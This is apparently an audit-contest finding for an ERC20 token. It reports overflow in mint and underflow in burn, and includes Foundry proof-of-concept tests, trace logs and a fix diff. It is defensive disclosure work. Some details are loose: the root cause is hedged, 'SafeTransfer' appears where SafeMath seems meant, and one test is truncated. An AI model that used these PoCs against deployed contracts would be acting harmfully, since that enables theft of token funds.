Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Unchecked Arithmetic in Mint & Burn Logic Causes Supply and Balance Wrap around

Author Revealed upon completion

Root + Impact
Unchecked Arithmetic in Mint & Burn Logic Causes Supply and Balance Wraparound

Description

A standard ERC20 token implementation must ensure that:

  • totalSupply never overflows.

  • balances[account] never underflows or overflows.

  • Minting increases total supply safely.

  • Burning decreases balances and supply safely.

All arithmetic should be safely checked, per Solidity best practices and ERC20 expectations.

The contract uses unchecked arithmetic (no unchecked block but implicitly unchecked because Solidity <0.8 or manual low-level ops), allowing:

  • Balance underflow during burn, causing user balance to wrap to 2^256 - 1.

  • Total supply overflow during mint, causing totalSupply to wrap back to zero.

Foundry test logs confirm both conditions can be triggered.

// ERC20Internals.sol
function _mint(address to, uint256 amount) internal {
// @> totalSupply += amount; // no overflow check
// @> balances[to] += amount; // no overflow check
}
function _burn(address from, uint256 amount) internal {
// @> balances[from] -= amount; // no underflow check
// @> totalSupply -= amount; // no underflow check
}

Risk

Likelihood:

  • Happens when mint amount exceeds 2^256 - 1 - totalSupply

  • Happens when burn amount exceeds balances[from]

  • No require checks exist

  • Foundry tests demonstrate actual occurrences

Impact:

  • Impact 1: User’s balance can wrap to 2^256 - 1, allowing them to steal the entire token supply.


Impact 2: totalSupply can overflow to 0, breaking accounting and enabling infinite mint exploits.

Proof of Concept

function test_mintOverflow_wrapsTotalSupply() public {
// Mint max uint256 to this contract
token.mintPublic(address(this), type(uint256).max);
uint256 s1 = token.totalSupply();
assertEq(s1, type(uint256).max);
// Mint 1 more => current code uses unchecked add in assembly and will wrap to 0
token.mintPublic(address(this), 1);
uint256 s2 = token.totalSupply();
// PoC: expect wrap to 0 in current code
assertEq(s2, 0, "totalSupply wrapped to 0 (PoC of unchecked arithmetic)");
}
function test_burnUnderflow_wrapsBalance() public {
// Mint 100 to alice (address(1))
address alice = address(0x1);
token.mintPublic(alice, 100);
// Burn 200 from alice (no balance check in _burn) -> underflow -> huge balance
token.burnPublic(alice, 200);
uint256 bal = token.balanceOf(alice);
// PoC: underflow should produce large value (not zero)
assertTrue(bal > 100, "balance wrapped due to underflow (PoC)");

Test Log

Ran 2 tests for test/Issue2_UncheckedArithmetic.t.sol:Issue2_UncheckedArithmeticTest
[PASS] test_burnUnderflow_wrapsBalance() (gas: 57959)
Traces:
[57959] Issue2_UncheckedArithmeticTest::test_burnUnderflow_wrapsBalance()
├─ [45071] TestToken::mintPublic(ECRecover: [0x0000000000000000000000000000000000000001], 100)
│ └─ ← [Stop]
├─ [1248] TestToken::burnPublic(ECRecover: [0x0000000000000000000000000000000000000001], 200)
│ └─ ← [Stop]
├─ [721] TestToken::balanceOf(ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639836 [1.157e77]
├─ [0] VM::assertTrue(true, "balance wrapped due to underflow (PoC)") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
[PASS] test_mintOverflow_wrapsTotalSupply() (gas: 42988)
Traces:
[59001] Issue2_UncheckedArithmeticTest::test_mintOverflow_wrapsTotalSupply()
├─ [45071] TestToken::mintPublic(Issue2_UncheckedArithmeticTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ └─ ← [Stop]
├─ [317] TestToken::totalSupply() [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::assertEq(115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) [staticcall]
│ └─ ← [Return]
├─ [1271] TestToken::mintPublic(Issue2_UncheckedArithmeticTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1)
│ └─ ← [Stop]
├─ [317] TestToken::totalSupply() [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "totalSupply wrapped to 0 (PoC of unchecked arithmetic)") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

Recommended Mitigation

Fix: Add overflow/underflow checks using require or SafeTransfer

function _mint(address to, uint256 amount) internal {
- totalSupply += amount;
- balances[to] += amount;
+ require(to != address(0), "mint to zero");
+ totalSupply = totalSupply + amount;
+ require(totalSupply >= amount, "supply overflow");
+ balances[to] = balances[to] + amount;
+ require(balances[to] >= amount, "balance overflow");
}
function _burn(address from, uint256 amount) internal {
- balances[from] -= amount;
- totalSupply -= amount;
+ require(from != address(0), "burn from zero");
+ require(balances[from] >= amount, "burn underflow");
+ balances[from] = balances[from] - amount;
+ totalSupply = totalSupply - amount;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!